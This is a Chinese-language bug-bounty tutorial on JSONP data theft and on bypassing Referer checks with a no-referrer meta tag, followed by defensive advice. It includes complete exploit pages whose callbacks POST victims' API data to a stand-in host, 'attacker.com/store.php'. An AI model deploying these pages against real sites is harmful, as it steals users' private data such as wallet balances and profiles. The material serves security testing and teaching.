bugbounty: 利用JSONP绕过Referer检查
字数 811 2025-08-26 22:11:45
JSONP漏洞利用与Referer检查绕过技术详解
1. JSONP基础概念
1.1 JSONP定义
JSONP(JSON with Padding)是一种允许跨域数据访问的技术,它通过动态创建<script>标签实现跨源数据获取,是同源策略(SOP)的一个例外。
1.2 JSONP工作原理
- 客户端定义一个回调函数
- 创建
<script>标签,其src属性指向目标API并包含回调函数名 - 服务器返回用该回调函数包裹的JSON数据
- 客户端执行回调函数处理数据
1.3 基本JSONP请求示例
<script>
function call_me(data) {
console.log(data)
}
</script>
<script src="https://redact.com/api/user/profile?callback=call_me"></script>
2. JSONP漏洞验证方法
2.1 识别潜在JSONP端点
寻找返回JSON数据的API端点,尝试添加callback参数:
原始端点: https://user.redact.com/payment/wallet/balance
测试端点: https://user.redact.com/payment/wallet/balance?callback=test
2.2 验证响应
如果端点支持JSONP,响应将包含回调函数包裹的数据:
test({"balance": 1000, "currency": "USD"})
3. JSONP漏洞利用技术
3.1 基本利用代码
<script>
function call_me(data) {
console.log(data); // 在控制台输出获取的数据
}
</script>
<script src="https://victim.com/api/data?callback=call_me"></script>
3.2 数据外传技术
将获取的数据发送到攻击者控制的服务器:
<script>
function call_me(response) {
var http = new XMLHttpRequest();
var url = 'https://attacker.com/store.php';
var params = 'data='+JSON.stringify(response);
http.open('POST', url, true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
console.log(http.responseText);
}
}
http.send(params);
}
</script>
<script src="https://victim.com/api/data?callback=call_me"></script>
4. Referer检查绕过技术
4.1 Referer检查机制
某些API会检查HTTP Referer头,如果发现请求来自非预期域名,则拒绝响应。
4.2 绕过方法
使用HTML meta标签禁止浏览器发送Referer头:
<head>
<meta name="referrer" content="no-referrer">
</head>
4.3 完整绕过示例
<!DOCTYPE html>
<html>
<head>
<meta name="referrer" content="no-referrer">
</head>
<body>
<script>
function call_me(response) {
var http = new XMLHttpRequest();
var url = 'https://attacker.com/store.php';
var params = 'data='+JSON.stringify(response);
http.open('POST', url, true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
console.log(http.responseText);
}
}
http.send(params);
}
</script>
<script src="https://victim.com/api/data?callback=call_me"></script>
</body>
</html>
5. 防御措施
5.1 服务端防御
- 禁用JSONP支持,使用CORS进行跨域资源共享
- 实施CSRF令牌验证
- 严格验证Referer头
- 对敏感操作要求身份验证
5.2 客户端防御
- 避免使用JSONP获取敏感数据
- 实施内容安全策略(CSP)
- 使用现代跨域技术如CORS替代JSONP
6. 实际应用场景
- 窃取用户敏感信息(如钱包余额、个人资料)
- 在漏洞赏金项目中识别JSONP漏洞
- 安全测试中验证API端点安全性
通过理解JSONP的工作原理和Referer检查绕过技术,安全研究人员可以更好地识别和报告此类漏洞,同时帮助开发人员构建更安全的Web应用。